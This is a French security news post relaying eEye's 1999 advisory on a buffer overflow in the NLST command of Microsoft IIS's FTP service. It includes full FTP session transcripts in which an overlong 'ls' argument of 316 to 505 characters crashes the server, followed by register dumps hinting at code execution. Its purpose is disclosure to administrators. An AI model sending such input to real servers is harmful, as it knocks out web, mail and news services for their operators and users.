eEye met en garde contre un bug des serveurs Microsoft...

eEye nous a prévenu et nous a proposé de nous faire l'écho de ce bug qui permet de planter tous les services en cours sur une machine dans un environnement IIS si le serveur FTP est en route et qu'il accepte des connexions en mode anonymous. Nous nous faisons donc l'écho de ce problème. Non pas parce que nous espérons qu'il aidera de jeunes idiots à faire tomber des serveurs, mais parce que nous espérons que quelques administrateurs de réseaux en France liront ces lignes et que cela les aidera à protéger leurs réseaux. Même si l'on désespère. On vous vous explique là  pourquoi les admin réseau (et les décideurs) nous désespèrent. Vous allez voir, ç'est sanglant... Phun en tous cas... [oui, on sait que fun s'écrit fun et pas phun...]

Au passage, pour ceux qui utilisent une version de TCP Wrappers datant d'après le 21 janvier , faites un tour sur le serveur du CERT.

Voici donc l'advisory de eEye:

IIS Remote FTP Exploit/DoS Attack

Systems Affected
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0

Release Date
Sunday, January 24, 1999

Advisory Code
IISE01

Description:

While feeding in logic into Retina's artificial intelligence engine, which helps construct query strings to pass to internet servers, checking for overflow bugs and miss parsing of command strings. Our test server stopped responding. Below is our findings.

Microsoft IIS (Internet Information Server) FTP service contains a buffer overflow in the NLST command. This could be used to DoS a remote machine and in some cases execute code remotely.

Lets look at the following example attack. The server must either have anonymous access rights or an attacker must have an account. FTP Session was initiated from an NT Machine.

The following Example was tested on Wondows NT 5.0 beta 2 ftp client, Windows 9x and NT 4.0 ftp clients will not allow you to overflow the buffer from the command prompt, and you will have to code your own NLST command to perform the buffer overflow.

We are waiting for microsoft to release a fix then we will release a program that will demonstrate the DoS.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.

[The server has now processed our long NLST request and has crashed]

-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]

The above example uses 316 characters to overflow. This is the smallest possible buffer to pass that will overflow IIS. Lets take a look at the server side happenings.

On the server side we have an "Application Error" message for inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at '0x41414156'. The memory could not be 'read'." If we take a look at our registers we will see the following:

 EAX = 0000005C EBX = 00000001
 ECX = 00D3F978 EDX = 002582DD
 ESI = 00D3F978 EDI = 00000000
 EIP = 710F8AA2 ESP = 00D3F644
 EBP = 00D3F9F0 EFL = 00000206

There is no 41 hex (Our overflow character) in any of our registers so we chalk this up as a DoS attack for now.

Lets move on and take a look at the largest string we can pass to overflow IIS.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.

In this case we passed 505 characters to overflow IIS. This is the largest possible (tested) buffer to pass that will overflow IIS. Lets take a look once again at the server side.

On the server we have the same "Application Error" message for inetinfo.exe except this time "The instruction at '0x722c9262' referenced memory at "0x41414141'." This is looking mighty interesting. Lets look at our registers once again:

 EAX = 00000000 EBX = 41414141
 ECX = 41414141 EDX = 722C1CAC
 ESI = 41414141 EDI = 41414141
 EIP = 722C9262 ESP = 00D3F524
 EBP = 00D3F63C EFL = 00000246

There sure are a lot of 41 hex codes in our registers now.

So to wrap it all up what we have here is a DoS attack against any IISserver with ftp access. Keep in mind we have to be able to login. However, Anonymous access is granted on most servers. Once we have overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, SMTP etc..) What we have seems to be a very interesting buffer overflow.


Special Thanks

The eEye Digital Security Team would like to extend a special thanks to Mudge and Dildog.

Copyright (c) 1999 eEye Digital Security Team

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